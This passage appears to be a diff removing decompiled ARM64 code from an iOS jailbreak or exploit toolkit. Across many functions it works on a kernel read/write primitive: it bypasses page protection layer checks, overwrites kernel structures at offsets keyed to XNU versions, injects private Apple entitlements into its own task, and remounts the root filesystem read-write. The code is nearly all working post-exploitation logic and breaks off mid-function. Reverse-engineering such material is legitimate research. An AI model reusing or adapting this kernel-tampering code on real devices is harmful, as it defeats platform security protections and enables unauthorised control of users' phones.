-  __int64 v10; // x8
-  mach_vm_address_t v11; // x1
-  struct
-  {
-    unsigned __int64 base;
-    unsigned __int8 gap8[12];
-    unsigned __int8 prot;
-    unsigned __int8 gap15[11];
-    __int64 flags;
-  } regionInfo; // [xsp+8h] [xbp-58h] BYREF
-
-  if ( vaddr )
-  {
-    if ( newBytes )
-    {
-      if ( (uint32_t)size )
-      {
-        v10 = krwCtx->pageMask;
-        v11 = vaddr & ~v10;
-        if ( v11 == ((vaddr + (unsigned int)size - 1) & ~v10) )
-        {
-          if ( (pplBypass & 1) != 0 )
-          {
-            return ppl_physmap_table_patch_write(krwCtx, vaddr, newBytes, size, a6);
-          }
-          else
-          {
-            memset(&regionInfo, 0, sizeof(regionInfo));
-            if ( pgtable_walk_wrapper(krwCtx, v11, &regionInfo) && (regionInfo.prot | 2) == 3 )
-            {
-              if ( (regionInfo.flags & 0x80) != 0 )
-              {
-                if ( !physmap_table_write_versioned(krwCtx, regionInfo.base, regionInfo.flags & 0xFFFFFF7F) )
-                  return 0;
-                semaphore_timedwait_ns(krwCtx, 0x2710u);
-              }
-              return (unsigned int)kwrite_something(krwCtx, vaddr, newBytes, size, a6) != 0;
-            }
-          }
-        }
-      }
-    }
-  }
-  return 0;
-}
-
-//----- (0000000000013D9C) ----------------------------------------------------
-bool __fastcall ppl_kwrite_physmap_checked(struct_krwCtx *krwCtx, unsigned __int64 a2, __int64 a3)
-{
-    char v6; // w0
-    unsigned __int64 v7; // [xsp+0h] [xbp-30h] BYREF
-    __int64 v8; // [xsp+8h] [xbp-28h] BYREF
-    
-    v8 = a3;
-    if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) && kread_physmap_decorated(krwCtx, a2, &v7) )
-    {
-        if ( v7 == a3 )
-            return true;
-        v6 = kaddr_need_ppl_bypass(krwCtx, a2);
-        return ppl_kwritebuf_nocheck(krwCtx, a2, (__int64)&v8, (unsigned int)krwCtx->stride_0x168, v6, 1);
-    }
-    return false;
-}
-
-//----- (0000000000013E38) ----------------------------------------------------
-__int64 __fastcall kwrite_something(struct_krwCtx *krwCtx, mach_vm_address_t a2, __int64 a3, __int64 a4, int a5)
-{
-  __int64 result; // x0
-  __int64 v6; // [xsp+8h] [xbp-18h] BYREF
-
-  if ( !a5 || krwCtx->stride_0x168 != (uint32_t)a4 )
-  {
-    result = kwrite_with_retry(krwCtx, a2, a3, a4);
-    if ( !(uint32_t)result )
-      return result;
-    return 1;
-  }
-  v6 = 0;
-  __memcpy_chk(&v6, (const void *)a3, (unsigned int)a4, 8);
-  result = kwrite64(krwCtx, a2, v6);
-  if ( (uint32_t)result )
-    return 1;
-  return result;
-}
-
-//----- (0000000000013EBC) ----------------------------------------------------
-__int64 __fastcall get_root_statfs(struct_krwCtx *krwCtx, int *outIsReadWrite)
-{
-  char *v3; // x20
-  int isReadWrite; // w8
-  __int16 v6; // [xsp+Eh] [xbp-8D2h] BYREF
-  char mnt1[48]; // [xsp+10h] [xbp-8D0h] BYREF
-  struct statfs v8; // [xsp+40h] [xbp-8A0h] BYREF
-
-  bzero(&v8, 0x878u);
-  v6 = 47;
-  strcpy(mnt1, "/private/var/MobileSoftwareUpdate/mnt1");
-  if ( check_root_fs_mounted(0) )
-    v3 = mnt1;
-  else
-    v3 = (char *)&v6;
-  if ( statfs(v3, &v8) )
-  {
-    if ( errno != 2 )
-      return 0;
-  }
-  else if ( !((*(uint64_t *)v8.f_mntfromname ^ 'sid/ved/') | (*(uint64_t *)&v8.f_mntfromname[7] ^ '1s1s0ks'))
-         && !strcmp(v3, v8.f_mntonname) )
-  {
-    isReadWrite = (v8.f_flags & MNT_RDONLY) == 0;
-    goto LABEL_10;
-  }
-  isReadWrite = 3;
-LABEL_10:
-  *outIsReadWrite = isReadWrite;
-  return 1;
-}
-
-//----- (0000000000013FF8) ----------------------------------------------------
-bool __fastcall check_iogpu_krw_ready_3(struct_krwCtx *krwCtx, char *a2)
-{
-  int v3; // w8
-  uint64_t v4; // x21
-  __int64 v5; // x21
-  int v6; // w0
-  int v7; // w20
-  __int64 v8; // x0
-  int v10; // [xsp+4h] [xbp-2Ch] BYREF
-  __int64 v11; // [xsp+8h] [xbp-28h] BYREF
-
-  v10 = 0;
-  v3 = krwCtx->xnuMajorVersion;
-  if ( (unsigned int)(v3 - 8019) < 2 )
-  {
-    v5 = 608;
-  }
-  else if ( v3 == 6153 )
-  {
-    v5 = 520;
-  }
-  else
-  {
-    v4 = 0;
-    if ( v3 != 7195 )
-      return v4;
-    if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
-      v5 = 536;
-    else
-      v5 = 512;
-  }
-  v6 = open(a2, 0x100000);
-  if ( v6 < 0 )
-    return 0;
-  v7 = v6;
-  v8 = get_kernel_base_physmap(krwCtx, v7);
-  v11 = v8;
-  if ( v8
-    && kread_physmap_decorated(krwCtx, v8 + v5, (unsigned __int64 *)&v11)
-    && validate_kaddr_range(krwCtx, v11)
-    && kread_physmap_decorated(krwCtx, v11 + 224, (unsigned __int64 *)&v11)
-    && validate_kaddr_range(krwCtx, v11)
-    && (unsigned int)krw_read_thunk(krwCtx, v11 + 48, 4, &v10) )
-  {
-    v10 &= ~0x4000u;
-    v4 = (unsigned int)kwrite_with_retry(krwCtx, v11 + 48, (__int64)&v10, 4) != 0;
-  }
-  else
-  {
-    v4 = 0;
-  }
-  close(v7);
-  return v4;
-}
-
-//----- (0000000000014164) ----------------------------------------------------
-__int64 __fastcall get_kernel_base_physmap(struct_krwCtx *krwCtx, int a2)
-{
-  int xnuMajorVersion; // w8
-  __int64 result; // x0
-  __int64 v7; // [xsp+8h] [xbp-18h] BYREF
-
-  xnuMajorVersion = krwCtx->xnuMajorVersion;
-  if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 )
-    return 0;
-  result = get_kbase_from_fileport(krwCtx, a2);
-  if ( !result )
-    return result;
-  v7 = result + 2296;
-  if ( !kread_physmap_decorated(krwCtx, result + 2296, (unsigned __int64 *)&v7) )
-    return 0;
-  if ( validate_kaddr_range(krwCtx, v7) )
-    return v7;
-  return 0;
-}
-
-//----- (00000000000141F0) ----------------------------------------------------
-__int64 __fastcall check_root_disk_identity(struct_krwCtx *krwCtx)
-{
-  __int64 result; // x0
-  unsigned int v3; // w20
-  int v4; // w0
-  char v6[2]; // [xsp+6h] [xbp-8CAh] BYREF
-  struct statfs v7; // [xsp+8h] [xbp-8C8h] BYREF
-  char v8[40]; // [xsp+880h] [xbp-50h] BYREF
-
-  strcpy(v6, "/");
-  strcpy(v8, "/private/var/MobileSoftwareUpdate/mnt1");
-  bzero(&v7, 0x878u);
-  if ( statfs(v6, &v7) )
-    return 0;
-  result = add_rw_to_disk(krwCtx, v6, "/dev/disk0s1s1");
-  if ( (uint32_t)result )
-  {
-    v3 = 0;
-    do
-    {
-      usleep(0x186A0u);
-      v4 = check_path_on_disk0s1s1(v8);
-      if ( !v4 )
-        break;
-    }
-    while ( v3++ < 0x32 );
-    if ( !v4 )
-      return 1;
-    add_rw_to_disk(krwCtx, v6, v7.f_mntfromname);
-    return 0;
-  }
-  return result;
-}
-
-//----- (00000000000142F8) ----------------------------------------------------
-__int64 __fastcall add_rw_to_disk(struct_krwCtx *krwCtx, const char *a2, const char *a3)
-{
-  int v6; // w8
-  size_t v9; // x0
-  int v10; // w22
-  int v11; // w0
-  int v12; // w21
-  __int64 v13; // x0
-  __int64 v14; // x23
-  __int64 arg_1; // x19
-  int v17; // [xsp+Ch] [xbp-8B4h] BYREF
-  struct statfs v18; // [xsp+10h] [xbp-8B0h] BYREF
-
-  bzero(&v18, 0x878u);
-  v17 = 0;
-  v6 = krwCtx->xnuMajorVersion;
-  if ( (unsigned int)(v6 - 8019) >= 2 && v6 != 7195 && v6 != 6153 )
-    return 0;
-  if ( statfs(a2, &v18) )
-    return 0;
-  v9 = strlen(a3);
-  if ( v9 > 0x3FF )
-    return 0;
-  v10 = v9;
-  v11 = open(a2, 0);
-  if ( v11 < 1 )
-    return 0;
-  v12 = v11;
-  v13 = ((__int64 (__cdecl *)())get_kbase_from_fileport)();
-  if ( v13
-    && (v14 = v13 + 1252, (unsigned int)krw_read_thunk(krwCtx, v13 + 1252, 4, &v17))
-    && v17 == *(uint32_t *)v18.f_mntfromname )
-  {
-    arg_1 = kwrite_with_retry(krwCtx, v14, (__int64)a3, (unsigned int)(v10 + 1));
-  }
-  else
-  {
-    arg_1 = 0;
-  }
-  close(v12);
-  return arg_1;
-}
-
-//----- (0000000000014444) ----------------------------------------------------
-bool __fastcall check_path_on_disk0s1s1(const char *a1)
-{
-  struct statfs v3; // [xsp+0h] [xbp-8A0h] BYREF
-
-  bzero(&v3, 0x878u);
-  if ( statfs(a1, &v3) )
-  {
-    __error();
-  }
-  else if ( !((*(uint64_t *)v3.f_mntfromname ^ 0x7369642F7665642FLL) | (*(uint64_t *)&v3.f_mntfromname[7] ^ 0x31733173306B73LL)) )
-  {
-    return strcmp(a1, v3.f_mntonname) == 0;
-  }
-  return 0;
-}
-
-//----- (0000000000014524) ----------------------------------------------------
-__int64 __fastcall check_mount_thread_info(struct_krwCtx *krwCtx, int a2)
-{
-  int v4; // w21
-  char *v5; // x0
-  const char *v6; // x1
-  char v7; // w2
-  __int64 v8; // x20
-  struct_krwCtx *v9; // x0
-  int v10; // w1
-  const char *v11; // x8
-  int v12; // w20
-  int v13; // w21
-  int v14; // w0
-  int v16; // w0
-  char v18[3]; // [xsp+4h] [xbp-8Ch] BYREF
-  bool v19; // [xsp+7h] [xbp-89h] BYREF
-  struct statfs *v20; // [xsp+8h] [xbp-88h] BYREF
-  char __s1[39]; // [xsp+10h] [xbp-80h] BYREF
-  const char *v22[6]; // [xsp+38h] [xbp-58h] BYREF
-
-  v19 = 0;
-  strcpy(__s1, "/private/var/MobileSoftwareUpdate/mnt1");
-  strcpy(v18, "/");
-  krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_SNAPSHOT_MOUNTED);
-  if ( !(unsigned int)krw_inject_entitlements_to_task(
-                                           krwCtx,
-                        mach_task_self_,
-                        "<dict><key>com.apple.private.vfs.snapshot</key><true/></dict>",
-                        0,
-                        8) )
-    return 0;
-  if ( !(unsigned int)check_necp_kread_available() )
-    return 0;
-  v4 = check_root_fs_mounted(&v19);
-  if ( v4 && !v19 && !(unsigned int)check_root_disk_identity(krwCtx) )
-    return 0;
-  if ( a2 == 4 || a2 == 2 )
-  {
-    if ( !v4 )
-    {
-      v7 = a2 == 4;
-      v6 = "orig-fs";
-      v5 = v18;
-LABEL_18:
-      v8 = check_and_copy_file_paths(v5, v6, v7);
-      if ( !(uint32_t)v8 )
-        return v8;
-      goto LABEL_21;
-    }
-    if ( !check_path_on_disk0s1s1(__s1) )
-    {
-      v8 = 1;
-LABEL_21:
-      krw_ctx_clr_flag(krwCtx, 1024);
-      return v8;
-    }
-    if ( (unsigned int)check_disk0s1s1_path(krwCtx, __s1) )
-    {
-      v5 = __s1;
-      v6 = 0;
-      v7 = 0;
-      goto LABEL_18;
-    }
-    return 0;
-  }
-  if ( !v4 )
-  {
-    if ( a2 == 1 )
-    {
-      if ( !(unsigned int)enumerate_file_paths(v18, "orig-fs") )
-        return 0;
-      v10 = 1;
-    }
-    else
-    {
-      v10 = 0;
-    }
-    return get_mount_disk_info(krwCtx, v10);
-  }
-  if ( check_path_on_disk0s1s1(__s1) )
-  {
-    if ( a2 == 1 )
-    {
-      if ( !(unsigned int)enumerate_file_paths(__s1, 0) )
-        return 0;
-      return (unsigned int)get_kernel_load_addr_bsm((__int64)"/dev/disk0s1s1", __s1, 0x110000u) == 0;
-    }
-    return check_disk0s1s1_path(krwCtx, __s1);
-  }
-  if ( !(unsigned int)add_rw_to_disk(krwCtx, v18, "/dev/disk0s1s1") )
-    return 0;
-  v11 = "rdonly,nobrowse";
-  v20 = 0;
-  v22[0] = "/sbin/mount_apfs";
-  v22[1] = "-o";
-  if ( a2 == 1 )
-    v11 = "nobrowse";
-  v22[2] = v11;
-  v22[3] = "/dev/disk0s1s1";
-  v22[4] = __s1;
-  v22[5] = 0;
-  if ( !memcmp(__s1, "/private/var/MobileSoftwareUpdate", 0x21u)
-    && mkdir("/private/var/MobileSoftwareUpdate", 0x1FFu)
-    && errno != 17 )
-  {
-    return 0;
-  }
-  if ( !(unsigned int)krw_inject_entitlements_maybe(
-                        krwCtx,
-                        mach_task_self_,
-                        "<dict><key>com.apple.private.security.disk-device-access</key><true/></dict>") )
-    return 0;
-  v12 = mkdir(__s1, 0x1FFu);
-  if ( v12 )
-  {
-    if ( errno != 17 )
-      return 0;
-  }
-  if ( krwCtx->xnuMajorVersion >= 6153 && chown(__s1, 0x1F5u, 0x1F5u) )
-    return 0;
-  v13 = 6;
-  while ( 1 )
-  {
-    v14 = posix_spawn_with_sigdefault(v22);
-    if ( v14 != 49 )
-      break;
-    getmntinfo(&v20, 0);
-    usleep(0xC8u);
-    if ( !--v13 )
-      goto LABEL_47;
-  }
-  if ( !v14 )
-  {
-    v16 = check_path_on_disk0s1s1(__s1);
-    goto LABEL_48;
-  }
-LABEL_47:
-  v16 = 0;
-LABEL_48:
-  if ( !(v16 | v12) )
-  {
-    rmdir(__s1);
-    return 0;
-  }
-  if ( !v16 )
-    return 0;
-  if ( !check_iogpu_krw_ready_3(krwCtx, v18) || (v8 = enumerate_file_paths(__s1, 0), !(uint32_t)v8) )
-  {
-    check_disk0s1s1_path(krwCtx, __s1);
-    return 0;
-  }
-  return v8;
-}
-
-//----- (00000000000148A4) ----------------------------------------------------
-__int64 __fastcall check_disk0s1s1_path(struct_krwCtx *krwCtx, char *a2)
-{
-  __int64 result; // x0
-  int v5; // [xsp+Ch] [xbp-14h] BYREF
-
-  v5 = 0;
-  result = validate_physmap_range_4(krwCtx, a2, 1, (unsigned int *)&v5);
-  if ( (uint32_t)result )
-  {
-    if ( (unsigned int)get_kernel_load_addr_bsm((__int64)"/dev/disk0s1s1", a2, 0x110001u) )
-    {
-      validate_physmap_range_4(krwCtx, a2, v5, 0);
-      return 0;
-    }
-    else
-    {
-      return 1;
-    }
-  }
-  return result;
-}
-
-//----- (0000000000014920) ----------------------------------------------------
-__int64 __fastcall get_mount_disk_info(struct_krwCtx *krwCtx, int a2)
-{
-  unsigned int v4; // w0
-  __int64 v5; // x24
-  char *f_mntonname; // x21
-  unsigned __int64 v7; // x23
-  int v8; // w0
-  __int64 v9; // x24
-  int v10; // w21
-  int v11; // w0
-  int v12; // w22
-  int xnuMajorVersion; // w8
-  __int64 v14; // x0
-  int v15; // w0
-  int v16; // w24
-  int v17; // w2
-  int v18; // w0
-  int v20; // [xsp+0h] [xbp-50h] BYREF
-  int v21; // [xsp+4h] [xbp-4Ch] BYREF
-  struct statfs *v22; // [xsp+8h] [xbp-48h] BYREF
-
-  v22 = 0;
-  v4 = getmntinfo(&v22, 0);
-  if ( v4 )
-  {
-    v5 = v4;
-    f_mntonname = v22->f_mntonname;
-    v7 = 1;
-    do
-    {
-      if ( !strcmp("/", f_mntonname) )
-        v7 = *(f_mntonname - 24) & 1;
-      f_mntonname += 2168;
-      --v5;
-    }
-    while ( v5 );
-  }
-  else
-  {
-    v7 = 1;
-  }
-  v8 = check_root_is_apfs();
-  v21 = 0;
-  if ( ((v7 & 1) == 0) == a2 )
-    return 1;
-  v10 = v8;
-  if ( a2 )
-  {
-    v11 = open("/", 0);
-    if ( v11 == -1 )
-      return 0;
-    v12 = v11;
-    xnuMajorVersion = krwCtx->xnuMajorVersion;
-    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 )
-      return 0;
-    v14 = get_kbase_from_fileport(krwCtx, v11);
-    v9 = 0;
-    if ( !v14 )
-      return v9;
-    v7 = v14 + 112;
-    if ( v14 == -112 )
-      return v9;
-    if ( !kread_u32(krwCtx, v7, &v20) )
-      return 0;
-    v20 &= ~0x4000u;
-    if ( !noppl_kwrite32(krwCtx, v7, v20) )
-      return 0;
-    v15 = open("/", 0);
-    if ( (v15 & 0x80000000) == 0 )
-    {
-      v16 = v15;
-      LODWORD(v22) = 0;
-      ffsctl(v15, 0x80046814, &v22, 0);
-      LODWORD(v22) = 1;
-      ffsctl(v16, 0x80046815, &v22, 0);
-      LODWORD(v22) = 2;
-      if ( v10 )
-      {
-        ffsctl(v16, 0x80044A11, &v22, 0);
-        LODWORD(v22) = 3;
-      }
-      ffsctl(v16, 0x80046816, &v22, 0);
-      close(v16);
-    }
-    v17 = 0x10000;
-  }
-  else
-  {
-    if ( v8 && !(unsigned int)validate_physmap_range_4(krwCtx, "/", 1, (unsigned int *)&v21) )
-      return 0;
-    v17 = 268500993;
-    v12 = -1;
-  }
-  if ( v10 )
-    v18 = get_kernel_load_addr_bsm((__int64)"/dev/disk0s1s1", "/", v17);
-  else
-    v18 = remount_hfs((__int64)"/dev/disk0s1s1", "/", v17);
-  if ( v18 == -1 )
-  {
-    v9 = 0;
-    if ( a2 )
-      goto LABEL_32;
-  }
-  else
-  {
-    v9 = 1;
-    if ( a2 )
-    {
-LABEL_32:
-      if ( kread_u32(krwCtx, v7, &v20) )
-      {
-        v20 |= 0x4000u;
-        if ( noppl_kwrite32(krwCtx, v7, v20) )
-        {
-          close(v12);
-          return v9;
-        }
-      }
-      return 0;
-    }
-  }
-  if ( (((unsigned int)v9 | !v10) & 1) == 0 && !(unsigned int)validate_physmap_range_4(krwCtx, "/", v21, 0) )
-    return 0;
-  return v9;
-}
-
-//----- (0000000000014BEC) ----------------------------------------------------
-__int64 __fastcall get_root_prefix_path(__int64 a1, void *a2, uint32_t *a3, int *a4)
-{
-  int v7; // w20
-  const char *v8; // x23
-  size_t v9; // x24
-  __int64 result; // x0
-
-  v7 = check_root_fs_mounted(0);
-  if ( v7 )
-  {
-    if ( !check_path_on_disk0s1s1("/private/var/MobileSoftwareUpdate/mnt1") )
-    {
-      LODWORD(v9) = 0;
-LABEL_10:
-      *a3 = v9;
-      result = 1;
-      if ( !a4 )
-        return result;
-      goto LABEL_11;
-    }
-    v8 = "/private/var/MobileSoftwareUpdate/mnt1/";
-  }
-  else
-  {
-    v8 = "/";
-  }
-  v9 = strlen(v8) + 1;
-  if ( v9 <= (unsigned int)*a3 )
-  {
-    memcpy(a2, v8, v9);
-    goto LABEL_10;
-  }
-  result = 0;
-  if ( a4 )
-LABEL_11:
-    *a4 = v7;
-  return result;
-}
-
-//----- (0000000000014CA4) ----------------------------------------------------
-__int64 __fastcall get_kbase_from_fileport(struct_krwCtx *krwCtx, int w1_0)
-{
-  __int64 v3; // x19
-  unsigned __int64 v4; // x0
-  int xnuMajorVersion; // w8
-  __int64 v9; // [xsp+8h] [xbp-28h] BYREF
-  unsigned __int64 v10; // [xsp+10h] [xbp-20h] BYREF
-  mach_port_t a2; // [xsp+1Ch] [xbp-14h] BYREF
-
-  a2 = 0;
-  if ( !(unsigned int)j__fileport_makeport(w1_0, &a2) && a2 )
-  {
-    v4 = get_task_kobject_addr(krwCtx, a2);
-    if ( !v4 )
-      goto LABEL_19;
-    xnuMajorVersion = krwCtx->xnuMajorVersion;
-    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 )
-      return 0;
-    if ( kread_physmap_decorated(krwCtx, v4 + 56, &v10)
-      && validate_kaddr_range(krwCtx, v10)
-      && kread_physmap_decorated(krwCtx, v10 + 216, (unsigned __int64 *)&v9) )
-    {
-      if ( validate_kaddr_range(krwCtx, v9) )
-        v3 = v9;
-      else
-        v3 = 0;
-    }
-    else
-    {
-LABEL_19:
-      v3 = 0;
-    }
-    mach_port_destroy(mach_task_self_, a2);
-    return v3;
-  }
-  return 0;
-}
-
-//----- (0000000000014D98) ----------------------------------------------------
-__int64 __fastcall validate_physmap_range_4(struct_krwCtx *krwCtx, char *a2, int a3, unsigned int *a4)
-{
-  int v7; // w0
-  int v8; // w19
-  __int64 v9; // x0
-  int xnuMajorVersion; // w8
-  __int64 v11; // x8
-  __int64 v12; // x23
-  mach_vm_address_t v13; // x24
-  unsigned int v15; // [xsp+Ch] [xbp-34h] BYREF
-
-  v7 = open(a2, 0);
-  if ( v7 != -1 )
-  {
-    v8 = v7;
-    v9 = get_kernel_base_physmap(krwCtx, v7);
-    if ( v9 )
-    {
-      xnuMajorVersion = krwCtx->xnuMajorVersion;
-      if ( (unsigned int)(xnuMajorVersion - 8019) < 2 )
-      {
-        v11 = 548;
-      }
-      else if ( xnuMajorVersion == 6153 )
-      {
-        v11 = 456;
-      }
-      else
-      {
-        if ( xnuMajorVersion != 7195 )
-          goto LABEL_18;
-        v11 = 476;
-        if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
-          v11 = 452;
-      }
-      v13 = v11 + v9;
-      v12 = 0;
-      if ( !kread_u32(krwCtx, v11 + v9, &v15) || v15 > 1 )
-        goto LABEL_19;
-      if ( noppl_kwrite32(krwCtx, v13, a3) )
-      {
-        if ( a4 )
-          *a4 = v15;
-        v12 = 1;
-        goto LABEL_19;
-      }
-    }
-LABEL_18:
-    v12 = 0;
-LABEL_19:
-    close(v8);
-    return v12;
-  }
-  return 0;
-}
-
-//----- (0000000000014EC4) ----------------------------------------------------
-__int64 __fastcall get_kernel_load_addr_bsm(__int64 a1, const char *a2, unsigned int a3)
-{
-  struct apfs_mount_args
-  {
-    uint64_t device;
-    uint64_t flags;
-    uint8_t reserved[0x118];
-  } args = {0};
-
-  args.device = a1;
-  args.flags = a3;
-  return mount("apfs", a2, a3, &args);
-}
-
-//----- (0000000000014F5C) ----------------------------------------------------
-__int64 __fastcall remount_hfs(__int64 a1, const char *a2, int a3)
-{
-  struct hfs_mount_args
-  {
-    uint64_t device;
-    uint8_t reserved[0x28];
-  } args = {0};
-
-  args.device = a1;
-  return mount("hfs", a2, a3, &args);
-}
-
-//----- (0000000000014F9C) ----------------------------------------------------
-bool check_root_is_apfs()
-{
-  unsigned int v0; // w0
-  bool v1; // w23
-  __int64 v2; // x22
-  char *f_mntonname; // x19
-  struct statfs *v5; // [xsp+8h] [xbp-38h] BYREF
-
-  v5 = 0;
-  v0 = getmntinfo(&v5, 0);
-  v1 = 0;
-  if ( v0 )
-  {
-    v2 = v0;
-    f_mntonname = v5->f_mntonname;
-    do
-    {
-      if ( !strcmp("/", f_mntonname) )
-        v1 = strncmp("apfs", f_mntonname - 16, 0x10u) == 0;
-      f_mntonname += 2168;
-      --v2;
-    }
-    while ( v2 );
-  }
-  return v1;
-}
-
-//----- (000000000001503C) ----------------------------------------------------
-__int64 __fastcall krw_inject_entitlements_maybe(struct_krwCtx *krwCtx, __int64 task, char *entitlementXml)
-{
-  int v4; // w23
-  uint64_t v7; // x24
-  void *v8; // x22
-  CFPropertyListRef v9; // x21
-  const struct __CFData *v10; // x20
-  size_t v11; // x0
-  void *(__cdecl *v12)(void *); // x0
-  const struct __CFData *Data; // x0
-  const struct __CFData *v14; // x23
-  size_t Length; // x24
-  const UInt8 *BytePtr; // x0
-  int v17; // w0
-  unsigned int v18; // w0
-  mach_port_name_t v19; // w23
-  int v20; // w8
-  unsigned __int64 v21; // x0
-  int v22; // w23
-  CFPropertyListFormat format; // [xsp+8h] [xbp-108h] BYREF
-  CFTypeRef cf; // [xsp+10h] [xbp-100h] BYREF
-  __int64 address; // [xsp+18h] [xbp-F8h] BYREF
-  int v26; // [xsp+20h] [xbp-F0h]
-  CFTypeRef v27; // [xsp+28h] [xbp-E8h]
-  mach_port_name_t name[2]; // [xsp+30h] [xbp-E0h] BYREF
-  int v29; // [xsp+38h] [xbp-D8h]
-  pthread_t v30; // [xsp+40h] [xbp-D0h] BYREF
-  pthread_attr_t v31; // [xsp+48h] [xbp-C8h] BYREF
-
-  v4 = task;
-  format = kCFPropertyListXMLFormat_v1_0;
-  cf = 0;
-  if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
-  {
-    v7 = 0;
-    if ( (unsigned int)acquire_write_semaphore_lock(krwCtx, 0, 0x2710u) )
-      return v7;
-    v31.__sig = krwCtx;
-    *(uint32_t *)&v31.__opaque[4] = 0;
-    *(uint32_t *)v31.__opaque = v4;
-    *(uint64_t *)&v31.__opaque[8] = &cf;
-    *(uint64_t *)&v31.__opaque[16] = 0;
-    v7 = 0;
-    v8 = 0;
-    if ( pthread_create_and_join(krwCtx, (__int64)find_connect_ioavservice, &v31) )
-    {
-      v9 = 0;
-      v10 = 0;
-      if ( *(uint32_t *)&v31.__opaque[16] )
-      {
-        v11 = strlen(entitlementXml);
-        v10 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, (const UInt8 *)entitlementXml, v11 + 1, kCFAllocatorNull);
-        if ( !v10 )
-        {
-          v8 = 0;
-          v9 = 0;
-          goto LABEL_15;
-        }
-        v9 = CFPropertyListCreateWithData(kCFAllocatorDefault, v10, 0, &format, 0);
-        if ( !v9 )
-          goto LABEL_12;
-        if ( (unsigned int)merge_cfdict_entries(cf, v9) )
-        {
-          if ( (unsigned int)compare_cfdict_entries(cf, v9) )
-          {
-LABEL_12:
-            v8 = 0;
-            goto LABEL_15;
-          }
-          if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) && (krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
-          {
-            address = krwCtx;
-            v26 = v4;
-            v27 = cf;
-            if ( pthread_attr_init(&v31) )
-              goto LABEL_12;
-            if ( pthread_attr_setdetachstate(&v31, 1)
-              || (v30 = 0,
-                  v29 = 4097,
-                  *(uint64_t *)name = &address,
-                  v12 = (void *(__cdecl *)(void *))nullsub_1(get_kernel_task_iokit),
-                  pthread_create(&v30, &v31, v12, name))
-              || pthread_join(v30, 0) )
-            {
-              pthread_attr_destroy(&v31);
-              goto LABEL_12;
-            }
-            v22 = v29;
-            pthread_attr_destroy(&v31);
-            v8 = 0;
-            if ( v22 )
-              goto LABEL_15;
-          }
-          else
-          {
-            Data = CFPropertyListCreateData(kCFAllocatorDefault, cf, kCFPropertyListXMLFormat_v1_0, 0, 0);
-            if ( !Data )
-              goto LABEL_12;
-            v14 = Data;
-            Length = CFDataGetLength(Data);
-            v8 = calloc(Length + 1, 1u);
-            if ( !v8 )
-            {
-              CFRelease(v14);
-              goto LABEL_15;
-            }
-            BytePtr = CFDataGetBytePtr(v14);
-            memcpy(v8, BytePtr, Length);
-            CFRelease(v14);
-            name[0] = 0;
-            address = 0;
-            v17 = strlen((const char *)v8);
-            v18 = register_ioservice_publish_notify((__int64)v8, v17 + 1, name);
-            if ( v18 + 1 <= 1 )
-            {
-LABEL_15:
-              v7 = 0;
-              goto LABEL_16;
-            }
-            v19 = v18;
-            v20 = krwCtx->xnuMajorVersion;
-            v7 = ((unsigned int)(v20 - 8019) < 2 || v20 == 7195 || v20 == 6153)
-              && (v21 = get_task_kobject_addr(krwCtx, v18), (address = v21) != 0)
-              && kread_physmap_decorated(krwCtx, v21 + 16, (unsigned __int64 *)&address)
-              && kread_physmap_decorated(krwCtx, address + 24, (unsigned __int64 *)&address)
-              && noppl_kwrite32(krwCtx, address + krwCtx->stride_0x168, 255)
-              && (unsigned int)krw_read_thunk(krwCtx, address, 40, &v31)
-              && (unsigned int)kwrite_with_retry(
-                                 krwCtx,
-                                 krwCtx->gap_0x390 + krwCtx->stride_0x168,
-                                 (__int64)&v31 + krwCtx->stride_0x168,
-                                 (unsigned int)(40 - krwCtx->stride_0x168)) != 0;
-            mach_port_destroy(mach_task_self_, v19);
-            if ( name[0] + 1 >= 2 )
-              mach_port_destroy(mach_task_self_, name[0]);
-            if ( !v7 )
-              goto LABEL_16;
-          }
-        }
-        else
-        {
-          v8 = 0;
-        }
-        v7 = 1;
-      }
-    }
-    else
-    {
-      v9 = 0;
-      v10 = 0;
-    }
-LABEL_16:
-    release_write_semaphore_lock(krwCtx, 0);
-    if ( cf )
-      CFRelease(cf);
-    if ( v9 )
-      CFRelease(v9);
-    if ( v10 )
-      CFRelease(v10);
-    if ( v8 )
-      free(v8);
-    return v7;
-  }
-  return krw_inject_entitlements2_maybe(krwCtx, task, entitlementXml, 1);
-}
-// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);
-
-//----- (00000000000154D0) ----------------------------------------------------
-__int64 __fastcall krw_inject_entitlements_to_task(struct_krwCtx *krwCtx, __int64 a2, char *a3, __int64 a4, int a5)
-{
-  __int64 result; // x0
-  __int64 v10; // x23
-  int v11; // [xsp+Ch] [xbp-34h] BYREF
-
-  v11 = 0;
-  if ( (a5 & 0xB) == 0 )
-    return 0;
-  result = task_self_get_ipc_port(krwCtx, a2);
-  if ( result )
-  {
-    result = get_task_struct_offset(krwCtx, result);
-    if ( result )
-    {
-      v10 = result;
-      result = krw_read_thunk(krwCtx, result, 4, &v11);
-      if ( (uint32_t)result )
-      {
-        if ( (v11 & a5) == 0 )
-        {
-          result = krw_inject_entitlements_maybe(krwCtx, a2, a3);
-          if ( (uint32_t)result )
-          {
-            v11 |= a5;
-            return kwrite_with_retry(krwCtx, v10, (__int64)&v11, 4);
-          }
-        }
-      }
-    }
-  }
-  return result;
-}
-
-//----- (00000000000155A0) ----------------------------------------------------
-__int64 __fastcall find_connect_ioavservice(__int64 a1)
-{
-  __int64 v2; // x21
-  struct_krwCtx *krwCtx; // x21
-  unsigned int v3; // w1
-  CFMutableDictionaryRef *v4; // x25
-  __int64 result; // x0
-  io_service_t v6; // w20
-  __int64 v7; // x22
-  int v8; // w0
